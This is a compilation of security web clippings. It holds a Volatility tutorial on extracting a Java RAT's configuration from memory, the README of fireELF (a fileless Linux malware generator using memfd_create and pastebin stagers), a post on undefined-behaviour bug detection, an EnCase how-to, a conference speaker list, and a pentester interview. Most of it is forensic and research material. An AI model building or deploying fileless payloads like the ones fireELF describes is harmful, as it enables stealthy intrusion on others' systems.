                if 'vmwareuser.exe' == task.ImageFileName.lower():
                    continue
                if not 'java' in task.ImageFileName.lower():
                    continue
                scanner = malfind.VadYaraScanner(task = task, rules = rules)
                for hit, address in scanner.scan():
                    vad_base_addr = self.get_vad_base(task, address)
                    yield task, address
    
        def make_printable(self, input):
            """ Optional: Remove non-printable chars from a string """
            input = input.replace('\x09', '')  # string.printable doesn't remove backspaces
            return ''.join(filter(lambda x: x in string.printable, input))
    
        def parse_structure(self, data):
            """ Optional: Parses the data into a list of values """
            struct = []
            items = data.split('SPLIT')
            for i in range(len(items) - 1):  # Iterate this way to ignore any slack data behind last 'SPLIT'
                item = self.make_printable(items[i])
                field, value = item.split('=')
                struct.append('%s: %s' % (field, value))
            return struct
        
        def render_text(self, outfd, data):
            """ Required: Parse data and display """
            delim = '-=' * 39 + '-'
            rules = yara.compile(sources = signatures)
            outfd.write('YARA rule: {0}\n'.format(signatures))
            outfd.write('YARA offset: {0}\n'.format(self**.** _config.YARAOFFSET))
            outfd.write('Configuration size: {0}\n'.format(self**.** _config.CONFSIZE))
            for task, address in data:  # iterate the yield values from calculate()
                outfd.write('{0}\n'.format(delim))
                outfd.write('Process: {0} ({1})\n\n'.format(task.ImageFileName, task.UniqueProcessId))
                proc_addr_space = task.get_process_address_space()
                conf_data = proc_addr_space.read(address + self**.** _config.YARAOFFSET, self._config.CONFSIZE)
                config = self.parse_structure(conf_data)
                for i in config:
                    outfd.write('\t{0}\n'.format(i))
    
[/code]

This code is also available on my GitHub **.**  
  
In a nutshell, you first have a signature to key on for the configuration
data**.** This is a fully qualified YARA signature, seen as:  
  
signatures = \{  
'javarat\_conf' : 'rule javarat\_conf \{strings: $a =
/port=\[0-9\]\{1,5\}SPLIT/ condition: $a\}'  
\}

This rule is stored in a Python dictionary format of 'rule\_name' : 'rule
contents'**.**  
  
The plugin allows a command line argument \(-Y\) to set the the YARA
offset**.** If your YARA signature hits 80 bytes past the beginning of the
structure, then set this value to -80, and vice versa**.** This can also be
hardcoded by changing the default value**.**  
  
There a second command line argument \(-C\) to set the size of data to read
for parsing**.** This can also be hardcoded. This will vary based upon the
malware; I've seen some multiple kilobytes in size**.**  
  
Rename the Class value, seen here as JavaRATScan, to whatever fits for your
malware**.** It has to be a unique name. Additionally, the """ """ comment
block below the class name contains the description which will be displayed on
the command line**.**  
  
I do have an optional rule to limit the search to a certain subset of
processes**.** In this case, only processes that contain the word "java" \-
this is a Java-based RAT, after all**.** It also skips any process of
"VMWareUser.exe".  
  
The plugin contains a parse\_structure routine that is fed a block of
data**.** It then parses it into a list of items that are returned and printed
to the screen \(or file, or whatever output is desired\)**.** This will
ultimately be unique to each malware, and the optional function of
make\_printable\(\) is one I made to clean up the non-printable characters
from the output, allowing me to extending the blocked keyspace**.**

####  Running the Plugin****

As a rule, I place all of my Volatility plugins into their own unique
directory**.** I then reference this upon runtime, so that my files are
cleanly segregated**.** This is performed via the --plugins option in
Volatility:

E:\Development\volatility>vol**.** py --plugins=..\Volatility\_Plugins

After specifying a valid plugins folder, run vol**.** py with the -h option to
ensure that your new scanner appears in the listing:

E:\Development\volatility>vol**.** py --plugins=..\Volatility\_Plugins -h

Volatile Systems Volatility Framework 2**.** 3\_beta

Usage: Volatility - A memory forensics analysis platform**.**

Options:

Supported Plugin Commands:

apihooks Detect API hooks in process and kernel memory

javaratscan Extract JavaRAT Configuration from Java processes

The names are automatically populated based upon your class names**.** The
text description is automatically pulled from the "docstring", which is the
comment that directly follows the class name in the plugin**.**

With these in place, run your scanner and cross your fingers:

<img src='img/Temp2_3481.png' />

For future use, I'd recommend prepending your plugin name with a unique
identifier to make it stand out, like "SOC\_JavaRATScan"**.** Prepending with
a "zz\_" would make the new plugins appear at the bottom of Volality's help
screen**.** Regardless, it'll help group the built-in plugins apart from your
custom ones**.**

####  The Next Challenge: Data Structures****

The greater challenge is when data is read from within the executable into a
data structure in memory**.** While the data may have a concise and structured
form when stored in the file, it may be transformed into a more complex and
unwieldy format once read into memory by the malware**.** Some samples may
decrypt the data in-place, then load it into a structure**.** Others decrypt
it on-the-fly so that it is only visible after loading into a structure**.**  
  
For example, take the following fictitious C2 data stored in the overlay of an
executable:  
  
Offset 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15  
  
00000000 08 A2 A0 AC B1 A0 A8 A6 AF 17 89 95 95 91 DB CE **.** ¢ ¬± ¨¦¯.‰••‘ÛÎ  
00000016 CE 96 96 96 CF 84 97 88 8D 92 88 95 84 CF 82 8E Î–––Ï„—ˆ�’ˆ•„Ï‚Ž  
00000032 8C 03 D5 D5 D2 08 B1 A0 B2 B2 B6 AE B3 A5 05 84 Œ**.** ÕÕÒ.± ²²¶®³¥.„  
00000048 99 95 93 80 ™•“€  
  
By reversing the malware, we determine that this composed of Pascal-strings
XOR encoded by 0xE1**.** Pascal-string are length prefixed, so applying the
correct decoding would result in:  
  
Offset 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15  
  
00000000 08 43 41 4D 50 41 49 47 4E 17 68 74 74 70 3A 2F .CAMPAIGN.http:/  
00000016 2F 77 77 77 2E 65 76 69 6C 73 69 74 65 2E 63 6F /www.evilsite**.** co  
00000032 6D 03 34 34 33 08 50 41 53 53 57 4F 52 44 05 65 m.443.PASSWORD**.** e  
00000048 78 74 72 61 xtra  
  
This is a very simple encoding routine, which I made with just:

[code]

    items = ['CAMPAIGN', 'http://www.evilsite.com', '443', 'PASSWORD', 'extra']
    data = ''
    for i in items:
        data += chr(len(i))
        for x in i: data += chr(ord(x) ^ 0xE1)
    
[/code]

Data structures are a subtle and difficult component of reverse engineering,
and vary in complexity with the skill of the malware author**.**
Unfortunately, data structures are some of the least shared indicators in the
industry**.**

Once completed, a sample structure could appear similar to the following:  
  
struct Configuration  
\{  
CHAR campaign\_id\[12\];  
CHAR password\[16\];  
DWORD heartbeat\_interval;  
CHAR C2\_domain\[48\];  
DWORD C2\_port;  
\}  
  
With this structure, and the data shown above, the malware reads each variable
in and applies it to the structure**.** But, we can already see some
discrepancies: the items are in a differing order, and some are of a different
type**.** While the C2 port is seen as a string, '443', in the file, it
appears as a DWORD once read into memory**.** That means that we'll be
searching for 0x01BB \(or 0xBB01 based on endianness\) instead of '443'**.**
Additionally, there are other values introduced that did not exist statically
within the file to contend with**.**  
  
An additional challenge is that depending on how the memory was allocated,
there could be slack data found within the data**.** This could be seen if the
malware sample allocates memory malloc\(\) without a memset\(\), or by not
using calloc\(\)**.**  
  
When read and applied to the structure, this data may appear as the following:  
  
Offset 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15  
  
00000000 43 41 4D 50 41 49 47 4E 00 0C 0C 00 00 50 41 53 CAMPAIGN.....PAS  
00000016 53 57 4F 52 44 00 00 00 00 00 00 00 00 00 17 70 SWORD..........p  
00000032 68 74 74 70 3A 2F 2F 77 77 77 2E 65 76 69 6C 73 http://www.evils  
00000048 69 74 65 2E 63 6F 6D 00 00 00 00 00 00 00 00 00 ite.com........**.**  
00000064 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................  
00000080 00 00 01 BB ..**.** »  
  
We can see from this that our strategy changes considerably when writing a
configuration dumper**.** The dumper won't be written based upon the structure
in the file, but instead upon the data structure in memory, after it has been
converted and formatted**.** We'll have to change our parser slightly to
account for this**.** For example, if you know that the Campaign ID is 12
bytes, then read 12 bytes of data and find the null terminator to pull the
actual string**.**  
  
This just scratches the surface of what you can do with encrypted data in
memory, but I hope it can inspire others to use this template code to make
quick and easy configuration dumpers to improve their malware analysis**.**  
  
****

# rek7/fireELF

**Created:**| _5/10/2019 8:28:49 AM_  
---|---  
**Updated:**| _5/10/2019 8:28:49 AM_  
**Author:**| __  
**Tags:**| _security tools Malware-analysis_  
  

  

# <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='86'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='821' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>fireELF

<img
src='img/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f6c6963656e73652d4d49542d677265656e2e737667'
width='78' height='20' />

fireELF is a opensource fileless linux malware framework thats crossplatform
and allows users to easily create and manage payloads. By default is comes
with 'memfd\_create' which is a new way to run linux elf executables
completely from memory, without having the binary touch the harddrive.

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='87'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='825' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Screenshots

<img src='img/ss1.png' width='882' height='493' /> <img src='img/ss2.png'
width='882' height='376' />

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='88'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='828' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Features

  * Choose and build payloads
  * Ability to minify payloads
  * Ability to shorten payloads by uploading the payload source to a pastebin, it then creates a very small stager compatible with python <= 2.7 which allows for easy deployment
  * Output created payload to file
  * Ability to create payload from either a url or a local binary

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='89'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='836' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Included payload memfd\_create

The only included payload 'memfd\_create' is based on the research of Stuart,
this payload creates an anonymous file descriptor in memory it then uses
fexecve to execute the binary directly from the file descriptor. This allows
for the execution completely in memory which means that if the linux system
gets restarted, the payload will be no where to be found.

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='90'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='839' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Creating a Payload

By default fireELF comes with 'memfd\_create' but users can develop their own
payloads. By default the payloads are stored in payloads/ and in order to
create a valid payload you simply need to include a dictonary named 'desc'
with the parameters 'name', 'description', 'archs', and 'python\_vers'. An
example desc dictonary is below:

[code]

    desc = {"name" : "test payload", "description" : "new memory injection or fileless elf payload", "archs" : "all", "python_vers" : ">2.5"}
[/code]

In addition to the 'desc' dictonary the entry point the plugin engine i built
uses requires a main function which will automatically get passed two
parameters, one is a boolean that if its true it means its getting passed a
url the second parameter it gets passed is the data. An example of a simple
entry point is below:

[code]

    def main(is_url, url_or_payload):
        return
[/code]

If you have a method feel free to commit a payload\!

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='91'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='846' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Installation

Download the dependencies by running:

[code]

    pip3 -U -r dep.txt
    
[/code]

fireELF is developed in Python 3.x.x

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='92'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='850' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />Usage

[code]

    usage: main.py [-h] [-s] [-p PAYLOAD_NAME] [-w PAYLOAD_FILENAME]
                   (-u PAYLOAD_URL | -e EXECUTABLE_PATH)
    
    fireELF, Linux Fileless Malware Generator
    
    optional arguments:
      -h, --help           show this help message and exit
      -s                   Supress Banner
      -p PAYLOAD_NAME      Name of Payload to Use
      -w PAYLOAD_FILENAME  Name of File to Write Payload to (Highly Recommended if
                           You're not Using the Paste Site Option)
      -u PAYLOAD_URL       Url of Payload to be Executed
      -e EXECUTABLE_PATH   Location of Executable
    
[/code]

# Embedded in Academia : Finding Undefined Behavior Bugs by Finding Dead Code

**Created:**| _9/27/2013 11:02:40 AM_  
---|---  
**Updated:**| _9/27/2013 11:02:40 AM_  
**Author:**| __  
**Tags:**| _code-review code-checks_  
  

# **F** inding Undefined Behavior Bugs by Finding Dead Code****

Here’s a draft of a very cool paper  by Xi Wang  and others at MIT; it is
going to appear at the next SOSP **.**

The idea is to look for code that becomes dead when a C/C++ compiler is smart
about exploiting undefined behavior**.** The classic example of this class of
error was found in the Linux kernel several years ago**.** The code was
basically:

| `struct` `foo *s = ..**.** ;``int` `x = s->f;``if` `(**!** s) ``return`
`ERROR;``..**.** use s ...`  
---|---  
The problem is that the dereference of `s` in line 2 permits a compiler to
infer that `s` is not null \(if the pointer is null then the function is
undefined; the compiler can simply ignore this case\)**.** Thus, the null
check in line 3 gets silently optimized away and now the kernel contains an
exploitable bug if an attacker can find a way to invoke this code with a null
pointer**.** Here’s another example that I like  where the compiler silently
discarded a security check that invoked undefined behavior**.** There are more
examples in the paper and I encourage people to look at them**.** The point is
that these problems are real, and they’re nasty because the problem can only
be seen by looking at the compiler’s output**.** Compilers are getting smarter
all the time, causing code that previously worked to break**.** A sufficiently
advanced compiler is indistinguishable from an adversary**.**

So the premise of this paper is that if you write some code that executes
conditionally, and that code can be eliminated by a compiler that understands
how to exploit undefined behavior, then there’s a potential bug that you’d
like to learn about**.** But how can we find this kind of code? One way would
be to instrument the compiler optimization passes that eliminate code based on
undefined behavior**.** This has some problems. First, due to complex
interactions between optimization passes in a real compiler, it is not at all
straightforward to determine whether a particular piece of dead code is that
way due to undefined behavior, vs**.** being dead in a boring way. Chris
Lattner’s article about undefined behavior  has some good discussion of this
issue**.** The second problem is that if we, for example, instrument LLVM to
detect cases where it optimizes away code due to undefined behavior, this
doesn’t tell us much about problems that we might run into when using a
different compiler, or using the next version of LLVM**.** In particular, it
would be nice to be able to find “time bombs” — undefined behavior bugs that
aren’t yet exploited by a compiler, but that might be exploited in the
future**.**

The approach taken in this paper was to develop a custom undefined behavior
detector based on static analysis of a single function at a time**.** It takes
LLVM IR and converts it into a SAT instance  that is satisfiable when code can
be eliminated**.** This has a couple of advantages. First, by considering one
function at a time, the tool can scale to very large programs \(note that a
single function at the LLVM level may contain inlined code from other
functions — this increases precision without slowing things down too
much\)**.** Second, modern SAT solvers are quite strong, giving the tool the
opportunity to find bugs that cannot yet be exploited by production
compilers**.** Third, by writing a standalone tool, problems of being
entangled with all of the incidental complexity that is found in a collection
of real compiler passes are avoided**.**

At this point you are probably thinking: “I do not want some stupid tool
telling me about every piece of dead code in a huge legacy application,
because there are millions of those and almost none of them are bugs**.** ”
The solution has two parts. First, the most obvious dead code gets eliminated
by running LLVM passes like mem2reg, SCCP, and DCE**.** Second, the authors
have a clever solution where they run their tool twice: first without
knowledge of undefined behavior, and second with it**.** A bug is only
reported if the second pass can eliminate code that the first one cannot**.**
Based on this technique, the paper reports a very low rate of false
positives**.**

One thing that is interesting about the tool in this paper is that it has very
conservative criteria for reporting a bug: either undefined behavior is
invoked on all paths \(e**.** g. it finds a type 3 function \) or else it
finds code that is made dead by exploiting undefined behavior**.** Although
this conservative behavior could be seen as a disadvantage, in many ways it is
a big advantage because the problems that it flags are probably serious,
because the code that gets eliminated by the compiler is often a safety check
of some sort**.** The authors were able to find, report, and convince
developers to fix 157 bugs in open source programs, which is impressive**.**
They also provide some good anecdotes about developers who could not be
convinced to fix undefined behavior bugs, something I’ve also run into**.**

In summary, by adopting a solid premise \(“developers want to know when code
they write can be eliminated based on exploitation of undefined behavior”\)
the authors of this paper have found a way to home in on a serious class of
bugs and also to avoid the false positive problems that might otherwise plague
an intraprocedural static analysis tool**.**

**UPDATE from August 2013:** STACK is available now **.**

****

# Forensics: Rebuilding a Windows RAID with EnCase « Data – Where is it?

**Created:**| _5/10/2009 10:25:17 PM_  
---|---  
**Updated:**| _5/10/2009 10:25:40 PM_  
**Author:**| __  
**Tags:**| _Forensics raid windows EnCase_  
  

Rebuilding a Windows Stripped RAID in EnCase is incredibly simple. This is
because the information about the RAID is kept within the hard drives, as its
a software RAID. This is not the case for a hardware RAID, as the information
about the drive configuration .

**Step 1: Add the stripped drives to the case**

<img src='img/Temp2_3250.gif' width='150' height='116' alt='Adding Striped
Drives to EnCase' />

Adding Striped Drives to EnCase

**Step2: Scan the disk configuration –** right click one of the disks and
select option \(see screen shot\)

<img src='img/Temp2_3249.gif' width='150' height='124' alt='Scan disk
configuration with EnCase' />

Scan disk configuration with EnCase

**Step 3: View the rebuilt RAID**

<img src='img/Temp2_3248.gif' width='150' height='116' alt='Rebuilt RAID with
EnCase' />

Rebuilt RAID with EnCase

* * *
**Possibly related posts: \(automatically generated\)**

  * Forensic Tools: EnCase Forensic
  * Videos: EnCase Forensic
  * EnCase Forensic 6: Review

# video.hackinthebox.org

**Created:**| _3/24/2010 10:06:20 AM_  
---|---  
**Updated:**| _3/24/2010 10:06:32 AM_  
**Author:**| __  
**Tags:**| _conference-material_  
  

TORRENT - DAY 1  
TORRENT - DAY 2  
MATERIALS

* * *
**Keynote 1:** Joe Grand \(President, Grand Idea Studio\)  
**Keynote 2:** Rop Gonggrijp \(Hacker and Activist\)  
**Keynote 3:** Ed Skoudis \(Co-Founder, InGuardians\)  
**Keynote 4:** Julian Assange \(Founder of WikiLeaks.org\)  

**Conference Speakers:**

1.\) Alex ‘kuza55’ Kouzemtchenko \(Associate Consultant, statsec\)

2.\) Alexander Gazet \(Sogeti ESEC Research & Development\)  

3.\) Andrea Barisani \(Chief Security Engineer, Inverse Path\)

  

4.\) Babak Javadi \(TOOOL USA\)  

5.\) Bruno Goncalves de Oliveira \(Computer Engineer, iBLISS\)  

6.\) Chris Evans \(Information Security Engineer/Troublemaker/Chrome Security,
Google Corp\)  

7.\) Damien Aumaitre \(Sogeti\)  

8.\) Daniele Bianco \(Hardware Hacker, Inverse Path\)  

9.\) Deviant Olam \(TOOOL USA\)  

10.\) Dimitrios Petropoulos \(Managing Director, ENCODE Middle East\)  

11.\) Frédéric Raynal \(Head of Research & Software Development, Sogeti/Cap
Gemini\)  

12.\) Guillaume Delugré \(Sogeti\)  

13.\) Haroon Meer \(Technical Director, Sensepost\)  

14.\) Job De Haas \(Riscure\)  

15.\) Julien Tinnes \(Information Security Engineer, Google Corp\)  

16.\) Fyodor Yarochkin & The Grugq \(replaced Justin Lundy - no show\)  

17.\) Lee Chin Sheng \(Independent Network Security Researcher\)  

18.\) Lucas Adamski \(Director, Security Engineering, Mozilla Corp\)  

19.\) Malaysian Amateur Radio Emergency Service \(MARES\)  

20.\) Mark Dowd \(ISS\)  

21.\) Meling Mudin \(Founder, security.org.my\)  

22.\) Nguyen Anh Quynh \(Researcher, Japan Institute of Advanced Industrial
Science and Technology\)  

23.\) Nishad Herath \(CEO, Novologica\)  

24.\) Paul Theriault \(Consultant, SIFT\)  

25.\) Saumil Shah \(Founder, Net-Square\)  

26.\) Sheran Gunasekera \(Head of Research & Development, ZenConsult\)  

27.\) Steve Anson \(Director, Forward Discovery\)  

28.\) Tavis Ormandy \(Information Security Engineer, Google Corp\)  

29.\) Wes Brown \(Security Consultant, IOActive\)  

30.\) Yoann Guillot \(Sogeti ESEC Research & Development\)

# Kevin Johnson Interview: Forget Zero Day « Security Aegis

**Created:**| _5/30/2009 12:03:47 PM_  
---|---  
**Updated:**| _5/30/2009 12:04:04 PM_  
**Author:**| __  
**Tags:**| _interviews security people_  
  

## Kevin Johnson Interview: Forget Zero Day

<img src='img/Temp2_4788.jpg' width='159' height='176' alt='logo' /><img
src='img/Temp2_4790.jpg' width='256' height='149' alt='shapeimage_1' /><img
src='img/Temp2_4789.jpg' width='175' height='149' alt='untitled' />

Anyone who knows training \(or InfoSec for that matter\) knows SANS is
probably THE most recognized name in InfoSec training. While the foundation of
SANS is Stephen Northcutt and Alan Paller, his superstars are the InGuardian’s
crew. Call them security divas, we don’t care. We know that Ed Skoudis, Kevin
Johnson, Mike Poor, and Joshua Wright are instructors with whom we’d give the
whole of our security budget to train. We can’t decide what we like best:
their stellar tool development, their helpful whitepapers, their nifty cheat
sheets, their open source projects, or the fact that their courses are the
most interesting and engaging we’ve seen.

Web application pen testing is a huge focus for the security space right now,
and SANS just turned their 4-day **SEC542 - Web App Penetration Testing and
Ethical Hacking** into a 6-day class. We had the chance to pick the brain of
its instructor/creator Kevin Johnson, **InGuardian** pen tester, father, and
all around great guy.

Read on as he answers our questions on a wide array of our web-app security
queries.

**Thanks for joining us Kevin\! Can you tell us a little about who you are and
what your  
history is in the security field?**

Sure. I have been working with computers for WAY too long and have done lots
of different  
things. Everything from installing a modem for the little old lady down the
road, to building  
complex web sites with mainframe back ends. I started getting into security
because it touched  
everything I did. The final push was when a company I worked at was
compromised. It was  
nothing substantial but the fact that someone used “my” machines pissed me
off.

I have since started and run quite a few open-source security projects and
author/teach the SANS  
web pentesting course, Sec542.

As to who I am, that is pretty simple. I am a nerd that has a wife that
supports what he does and  
the two best daughters in the world. My ultimate goal is to turn both Brenna
and Sarah into the  
biggest nerds I can. It helps that my hobbies are what I do for a living.

**Can you give us a high level overview of your current projects like: yokoso,
samuraiWTF, and  
sec tools?**

Most of them are related to web security, which is my main focus. But here is
a short description  
of the major ones.

SamuraiWTF – A live CD that focuses on web penetration testing  
Yokoso\! – Infrastructure fingerprinting delivered via XSS.  
Laudanum – Injectable scripts to increase our foothold after finding SQL
injection flaws  
BASE – Web interface for monitoring and managing Snort alerts  
SecTools – Catch-all project where things like Hping2 \(Windows\) and WebArmor
end up  
SocialNetworkBots – Exactly what it is named.

**Some people feel that webapp pentesting is the new open vector and network
pentesting is in  
decline, what do you think? Do you think there is a long future in network and
web-app  
hacking?**

Wow, I can’t believe that anyone would think network pen-testing was going
away any time soon.  
I will agree that web app flaws are getting more attention right now, but I
think that what we will see  
in the future is combined testing. Ed Skoudis, Josh Wright and I did a series
of web casts outlining  
how the three types of testing are related and scenarios combining the
attacks. I really think those  
outline what I see quite well.

**What does Inguardians do? Can you give us a day in the life of an
Inguardian’s pentester?**

InGuardians does quite a bit actually. I am always amazed at the incredible
skill I am surrounded  
by. Our services include everything from penetration tests and security
architecture review to  
forensics and incident response. We also regularly take on research projects
for our clients. Our  
staff regularly teaches, mainly through SANS, and we present at many different
venues.

A day in the life of an InGuardians agent is varied based on what is going on
and which projects we  
are working on. If we are on-site at a client or a conference our day is
focused on doing what  
needs to be done there. When not, I work out of my home office handling the
various requests or  
projects going on then. The main point of my day is the constant support and
communication that  
happens between the staff. We have adapted well to the distance between us and
the virtual nature  
of our collaboration. I am constantly sending messages or talking within our
internal systems to the  
other members. That collaboration is what I think makes up the best part of
being an InGuardians  
agent. When I am working a project, the best of the best is only a bit of
typing away from  
supporting and improving what I am doing.

**What is the hardest or coolest webapp hack you’ve pulled off, what about the
most challenging  
pentest?**

I will have to go with coolest since most of the problems we find are actually
quite simple. \(Which  
is pretty sad if I may say so myself.\) I personally think that some of the
attacks performed by  
injecting malicious code through help desk ticketing systems are a ton of fun.
And of course the  
fact that they almost guarantee elevated privileges makes me like them even
more.

The other attack I really like is when we have an XSS flaw and we use it to
inject Yokoso\!. This  
allows us to fingerprint what apps and infrastructure they are running
internally. If we find they are  
running something that has a CSRF flaw, we can then inject the exploit for
that and cause the  
admin’s system to add an account for us or what ever.

I also think that one of the cooler ones was a physical attack Justin Searle
and I did. We told the  
security guard we had left one of our cell phones in the secured area and they
let Justin into the  
area. People are the fun link to attack.

**What are your views on the browser tri-fecta this year at CanSecWest, in the
Pwn to Own  
Contest? Were you surprised Firefox, IE, and Safari were all pwned with zero
days in a  
relatively short amount of time, or did you have a pretty good feel that
today’s browsers are  
highly insecure?**

I was not surprised at all. Our client applications are, and will be for some
time, the weakest part of  
our infrastructure.

**What are your views that Chrome was the only browser unscathed with its
sandboxing  
feature? Do you think that Google’s sandboxing is an exemplary implementation
of that  
technology?**

While Chrome did escape unscathed, I am not sure I would call it an exemplary
implementation. It  
just isn’t the target the others are and since the others were in-scope, it
didn’t fall. Let’s talk next  
year. ;-\)

**What are your thoughts on this years two zero-day Adobe exploits? Do you
feel the wide-  
spread implementation of Adobe technologies makes it a big target or is it a
representation of  
something else?**

Adobe, Adobe, Adobe… \(Read that with the pitying voice I meant it in.\) I
think that the zero-days  
in Adobe products are caused by both the target size it represents and a
problem with the client  
complexity it and others are increasing. I think that we have seen an amazing
jump forward in  
client complexity in the last few years and it isn’t stopping. Client apps
have to be securely written  
and very few organizations are working on it. We, the consumers, need to start
loudly complaining  
when problems like this are found. And someone needs to solve the client
patching issues that  
exist. And no the Adobe/Java/whatever updater is not the answer.

**In your “forget 0-day, let’s talk zero exploit” talk you gave an overview of
Click Jacking,  
Have you seen these exploits in the wild yet? Do any tools exist yet or are
you \(or any  
colleagues\) developing anything for the scope of pentests regarding click
jacking?**

Yes we have seen these “exploits” in the wild. The noscripts addon’s main site
uses it to provide a  
download link. The main point of the talk and this issue is that the client
applications provide us so  
many ways to attack with out taking advantage of a flaw or vulnerability.

We do not currently have a tool that is focused on click-jacking, but I could
see Middler being  
expanded to support it.

**How do you feel about Web Applications Firewalls and their lackluster
performance, do you  
feel they can be improved to be a usable defense mechanism?**

I have quite a few opinions of WAFs and the technology behind them. I actually
think they  
